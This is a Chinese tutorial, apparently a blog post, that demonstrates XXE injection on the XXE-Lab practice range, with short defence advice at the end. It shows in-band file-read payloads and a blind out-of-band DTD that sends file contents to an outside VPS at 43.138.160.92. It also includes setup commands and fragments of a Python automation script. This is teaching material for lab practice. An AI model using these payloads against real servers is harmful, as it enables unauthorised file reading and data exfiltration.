当允许引用外部实体时,会造成外部实体注入(XXE)漏洞。通过构造恶意内容,就可能导致任意文件读取、系统命令执行、内网端口探测、攻击内网网站等危害
根据有无回显的情况,XXE 漏洞可分为如下两种:
1 | 有回显的XXE |
以 XXE-Lab 靶场来进行演示
有回显 XXE
先在自己的 C 盘目录下创建一个 txt 文件,内容随便,这里就以 1.txt 和 hacker!!!来进行演示
1 | UserName:&b; |
抓包 Login 并发送到重发器
这里可以看到是以 xml 的形式发送到 doLogin.php 进行解析,那就直接试着在 body 中加入 xml 的内容,看看是否能被解析
1 | <?xml version="1.0"?> |
构造 payload 对 C 盘下的 1.txt 文件进行读取, <!ENTITY b SYSTEM "file:///c:/1.txt">
中的 b 为用户名中的参数,"" 之间为读取文件以及文件路径
1 | file:/// #file协议读取文件 |
成功读取,修改 txt 中的内容为 Hello hacker!!! 再试一遍
无回显 XXE
接下来进行无回显的 XXE 演示。在这之前需要关闭靶场的信息输出,打开靶场目录下的 php_xxe/doLogin.php 文件
1. 注释 echo $result;
2. 添加 error_reporting (0);
同样再次尝试注入,发现不会返回任何信息
对于无回显的 XXE,需要构建一条带外数据(Out-of
Band,OOB)通道来读取数据,思路如下:
1 | 1.攻击者先发送payload1给Web服务器 |
攻击过程图如下:
首先在 vps 上创建名为 evil.xml 的恶意 DTD 文件,并将其放在 apache 的网页目录下,同时开启 apache 服务
payload1:
1 | <?xml version="1.0"?> |
payload2:
1 | <!ENTITY % payload "<!ENTITY % send SYSTEM 'http://43.138.160.92/?content=%file;'>"> %payload; |
根据 payload1 和 payload2,evil.xml 是攻击者存放于 vps 上 apache 的 web 目录下的文件,流程理解为:先发送 payload1 给 web 服务器,其中包括文件的读取操作和引用恶意 DTD 的操作,payload1 作为 xml 文件会被发送至 doLogin 进行解析,但是读取后并没有回显,这时候 remote 引用了恶意的 DTD 文件,进行解析,执行了 payload2,执行 send 指令将回显作为参数发送到 vps 上,并且对 vps 的 http 服务进行了访问,这时候攻击者通过 vps 的 http 的访问记录便可以读取到回显。相当于将回显作为参数进行了一次转发,通过另外的渠道进行了读取
接下来开始复现
ubuntu 的机子直接用命令安装 apache 服务
1 | sudo apt-get install apache2 |
访问下公网 ip 确定 apache 服务已经搭建完毕
接着在 /var/www/html 中写入 evil.xml 文件,内容为 payload2,写入成功后 ip/evil.xml 访问文件确认是否能被 payload1 引用到
成功,接下来就是利用环节了
在 vps 上命令开启访问日志的监控
1 | tail -f /var/log/apache2/access.log |
接着抓包登录界面,使用 payload1 并发送到重发器当中进行发送
回显 200,发送成功,回 vps 上查看
成功实现转发,由于之前对读取操作的回显进行了 base64 编码,因此该串 base64 编码便是读取文件的内容,进行解码
成功读取
检测方法
在目标服务器无回显情况下,只能通过 OOB 信息传送来进行 XXE 攻击,但实际的操作过程则比较繁琐,针对无回显的 XXE,通过 python 脚本来实现流程自动化
写入脚本相关信息和模块
1 | from http.server import HTTPServer,SimpleHTTPRequestHandler |
编写攻击 payload 的生成函数,能够根据给定的 IP 地址和端口生成相应的包含恶意 DTD 的 XML 文件:
1 | def ExportPayload(lip,lport): |
编写 HTTP 服务函数,通过 http.server 模块实现 HTTP 服务,用来监听目标服务器返回的数据:
1 | # 开启HTTP服务,接收数据 |
编写 POST 发送函数,用来向目标服务器发送攻击数据:
1 | # 通过POST发送攻击数据 |
定义一个消息处理类,这个类继承自 SimpleHTTPRequestHandler。同时需要对原生的日志消息函数进行重写,使其在输出访问信息的同时,把访问的信息记录到文件中去(该函数位于 BaseHTTPServer.py 中):
1 | # 对原生的log_message函数进行重写,在输出结果的同时把结果保存到文件中 |
编写主函数,在其中进行相关变量的定义以及函数的调用
1 | if __name__ == '__main__': |
防御策略
XXE 的危害不仅在于攻击服务器,还能通过 XXE 进行内网的端口探测以及攻击内网网站等
防御方式:
1. 默认禁止外部实体的解析
2. 对用户提交的 XML 数据进行过滤,如关键词 <!DOCTYPE 和 <!ENTITY 或者 SYSTEM 和 PUBLIC 等